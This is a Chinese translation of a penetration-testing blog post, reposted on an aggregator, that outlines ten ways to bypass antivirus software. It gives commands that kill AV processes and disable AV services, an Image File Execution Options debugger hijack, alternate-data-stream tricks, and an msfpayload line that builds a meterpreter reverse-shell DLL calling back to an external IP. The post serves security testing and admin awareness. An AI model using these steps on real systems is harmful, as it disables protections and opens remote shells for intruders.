10个绕过反病毒的恶意用户技巧
原文:https://blog.netspi.com/10-evil-user-tricks-for-bypassing-anti-virus/
介紹
譯者注:很多不通順的語句改掉了,還有反病毒解決方案統一翻譯為了反病毒軟件。無關緊要的話直接意思翻譯
許多反病毒軟件的部署配置方法較弱,為最終用戶提供了根據需求快速禁用或解決產品問題方法。因此,即使沒有超級黑客“技能”的用戶也可以運行惡意可執行文件(有意或無意),而無需以任何方式實際修改它們以避免檢測。這種技術很適合于滲透測試。本博客將簡要概述10個需要注意的問題。對于在當前實現中尋找基本弱點的管理員來說應該是有趣的。對于經驗豐富的老人來說,這篇文章很可能不那么有趣。
免責聲明:文章中的方法不是完整的方法,事實上也沒有完美的繞過方法。我已經列出了本文的提綱,給那些不想上來就閱讀的讀者。
1、添加反病毒軟件信任名單策略 2、通過GUI禁用反病毒軟件 3、終止反病毒軟件進程 4、停止并禁用反病毒服務 5、調試設置禁用反病毒軟件 6、卸載反病毒軟件 7、從UNC路徑或可移動媒體執行 8、從備用數據流執行 9、DLL執行 10、外部文件系統執行添加防病毒軟件信任名單策略
一個有趣的選項是反病毒軟件的策略偶爾用到的例外選項(可以理解是信任名單)。例如用戶可以創建一個異常,允許所有具有“.exe”擴展名的文件在系統上運行。因此,大多數惡意軟件和“黑客工具”都不會被阻止或刪除。有關如何在Symantec End Point Protection產品中完成此操作的示例,請參閱以下Symantec幫助頁面: http://www.symantec.com/business/support/index?page=content&id=TECH104326
通過GUI禁用反病毒
這在近幾年不太常見,但歷史上非管理用戶有權通過GUI界面禁用許多反病毒軟件。過去就像右鍵單擊任務欄圖標并選擇禁用一樣簡單。可以想象,執行繞過反病毒所需的技能水平很低,但組織面臨的風險很高。
終止反病毒軟件進程
一些反病毒軟件由多個服務組成,這些服務喜歡不斷重啟。 那在禁用服務之前終止進程可以派上用場。 通常可以使用taskkill命令。 這是基于Metasploit發布模塊“killav”的作用。 仔細查看該模塊可以在這里找到:https://github.com/rapid7/metasploit-framework/blob/master/scripts/meterpreter/killav.rb
您可以發出以下命令,使用taskkill手動強制終止任務:
Taskkill /F /IM avprocess.exe停止并禁用反病毒服務
在某些情況下,用戶沒有通過GUI禁用反病毒的權限,但他們確實可以控制相關服務。 如果是這種情況,則通常可以停止和禁用防病毒服務。 這可以通過services.msc,“sc”命令或“net stop”命令來完成。 但是在退出系統之前,請始終確保成為一個好的測試者并將服務恢復到其原始狀態。
要停止Windows服務,請發出以下命令:
net stop “service name”要禁用Windows服務,請發出以下命令:
sc config "service name" start= disabledservices.msc控制臺還可用于通過GUI界面停止和禁用服務。 可以通過導航到【開始菜單】-> 【運行】并鍵入“services.msc”來訪問它。
通過調試設置禁用反病毒軟件
這是Khai Tran告訴我的一個非常酷的技巧。他引用的原始文章可以在http://blogs.msdn.com/b/greggm/archive/2005/02/21/377663.aspx找到。我建議看看這篇文章。簡而言之,用戶可以通過在注冊表中設置自定義調試器來防止運行反病毒程序。當操作系統或用戶嘗試執行反病毒軟件時,將執行指定的調試程序。這個方法太聰明了,惡意軟件開發人員多年來一直使用它。下面提供了進行攻擊的基本步驟。請注意,這些是從上面的鏈接中獲取的。
運行regedit.exe 轉到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image文件執行選項 創建一個新密鑰(例如:calc.exe) 在exe下創建一個新的字符串值。字符串值的名稱是'Debugger',值是svchost.exe(或任何東西)卸載反病毒軟件
雖然我不建議在滲透測試期間卸載反病毒軟件,但這個方法仍然可以被視為有效的旁路方法。在卸載過程開始之前,某些反病毒卸載可能需要密碼。在這些情況下,通常可以在注冊表或系統上的ini文件中找到密碼。但是可以使用其他旁路方法,如下面文章鏈接中所述。文章中建議在提示輸入卸載密碼時簡單地終止“msiexec.exe”進程。http://helpdeskgeek.com/help-desk/uninstall-symantec-endpoint-protection-without-a-password/
從UNC路徑或可移動媒體執行(U盤)
某些反病毒軟件未配置為在通過UNC路徑訪問時掃描或阻止從SMB或WebDAV執行惡意二進制文件。這很奇怪,但確實如此。因此攻擊者可以簡單地映射包含后門,黑客工具等惡意的共享,并執行惡意軟件。我猜有些人的印象是惡意軟件無法存儲在網絡驅動器上。同樣,某些反病毒軟件未配置為掃描或阻止從可移動介質(如SD卡,iPod或USB驅動器)執行二進制文件。在社會工程學活動中現場丟棄惡意的USB驅動器是很常見的手法,所以這個讓我有點害怕。
從備用數據流執行
備用數據流允許用戶通過擴展文件名將數據存儲在文件中。微軟表示,“默認情況下,所有數據都存儲在文件的主要未命名數據流中,但通過使用語法 ‘file:stream’可以讀取和寫入替換數據。惡意軟件通常在備用流中存儲文本,有效載荷(Payload)甚至完整二進制文件。歷史上,反病毒軟件錯過了許多使用替代數據流的惡意軟件。然而,多年來,AV在尋找它們方面變得更好。您可以使用流掃描系統中包含備用數據流的文件(http://technet.microsoft.com/en-us/sysinternals/bb897440.aspx)來自Sysinternals工具包的工具。此外,您可以使用下面的基本示例自行嘗試該技術。將文本“Hello world”回顯到新文件的主數據流中:
echo Hello world > file將文本“Hello Evil”回顯為備用數據流:
echo Hello evil > file:evil從文件的主數據流中讀取:
type file從文件的替代數據流中讀取:
type file:evil從DLL執行
在某些情況下,我發現如果反病毒軟件被放入DLL而不是EXE文件中,反病毒軟件就會錯過惡意代碼。我提供了一個如何使用Metasploit框架生成和運行DLL的基本示例。使用msfpayload命令創建包含meterpreter有效Payload的evil.DLL:
msfpayload windows/meterpreter/reverse_https LHOST=192.168.1.2 LPORT=443 D > evil.dll使用Rundll32命令運行DLL main函數:
Rundll32 evil.dll, @DllMain12從文件系統外部執行
顯然,一些惡意軟件存儲并執行磁盤上文件系統外部的代碼。聽起來您可以通過某種方式引用物理驅動器來訪問代碼。我沒有時間真正探索這個,但在“ 實用惡意軟件分析:解析惡意軟件的動手指南 ”一書中有所涉及。當我了解到更多細節的時候,我會再次分享。如果有人有詳細信息,也請告訴我。
總結
希望您有一些有趣的實驗然后更好地了解大多數反病毒軟件真正提供的保護級別。我正在研究其他一些專注于通過源代碼,二進制和流程操作來繞過反病毒軟件的技術博客,這些技術博客也應該增加對常見旁路方法的一些了解。在此期間,享受其中的樂趣并且肩負起黑客的責任。
轉載于:https://www.cnblogs.com/17bdw/p/10575815.html
總結
以上是生活随笔為你收集整理的10个绕过反病毒的恶意用户技巧的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: case函数,replace函数
- 下一篇: 18-ESP8266 SDK开发基础入门